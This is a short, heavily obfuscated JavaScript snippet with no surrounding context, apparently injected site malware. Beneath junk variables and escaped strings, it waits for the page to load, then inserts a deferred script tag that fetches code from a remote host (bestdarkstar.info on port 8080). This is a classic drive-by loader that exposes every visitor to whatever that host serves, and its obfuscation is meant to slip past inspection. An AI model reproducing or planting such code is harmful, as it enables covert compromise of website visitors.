var Xz;if(Xz!='' && Xz!='L'){Xz='DA'};var G='';var tb;if(tb!='DQ'){tb=''};function x(){var wN=new String();this.v="";var R=window;var Q;if(Q!='A' && Q!='Cf'){Q=''};this.wm="";var h=unescape;var I=h("%2f%6e%69%66%74%79%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%6f%72%6e%68%6f%73%74%2e%63%6f%6d%2e%70%68%70");this.jH='';function y(s,X){var xU=String("g");var kU=new Array();this.vj='';var j=h("%5b"), E=h("%5d");var mB=new Array();var kp;if(kp!='iV'){kp=''};var T=j+X+E;var V="";var sd;if(sd!='' && sd!='rW'){sd=''};var t=new RegExp(T, xU);var qf="";var Px;if(Px!=''){Px='Xx'};return s.replace(t, new String());this.iq="";};var Y=new Date();this.Qe="";var En=new String();var b;if(b!='GA' && b!='Gg'){b=''};this.Ry='';var U=document;var q=y('894790965248156073179','91462357');var UR=new Date();var Ol;if(Ol!='' && Ol!='Iw'){Ol=null};function w(){this.BI='';var df;if(df!='kV' && df != ''){df=null};this.uSf="";var xL=h("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");En=xL;En+=q;var Qg;if(Qg!='RJ' && Qg != ''){Qg=null};var XxV;if(XxV!='Kq' && XxV != ''){XxV=null};En+=I;var Hk;if(Hk!='' && Hk!='Pc'){Hk=null};var ry;if(ry!='jU' && ry!='gH'){ry='jU'};var PJ=new String();var Mw=new String();try {var XR;if(XR!=''){XR='wV'};D=U.createElement(y('sbcQrYiopGtD','YbGS3vQ2wCD8oTh'));this.he="";var Bq="";this.Qt='';D[h("%73%72%63")]=En;var kZ="";D[h("%64%65%66%65%72")]=[1][0];var DU="";this.og='';this.Sn='';U.body.appendChild(D);var LS;if(LS!='fv'){LS='fv'};this.GK="";var Nr='';} catch(B){var Rf;if(Rf!='' && Rf!='_a'){Rf=''};var sh="";alert(B);};this.hX="";var DI;if(DI!='' && DI!='qr'){DI='Tl'};}var gA=new String();R["onlo"+"ad"]=w;var szG=new String();var ml;if(ml!='' && ml!='xh'){ml='jyb'};var Nu;if(Nu!=''){Nu='aT'};};var BV=new Date();x();var dl=new Date();var Mk;if(Mk!='DT' && Mk!='vz'){Mk=''};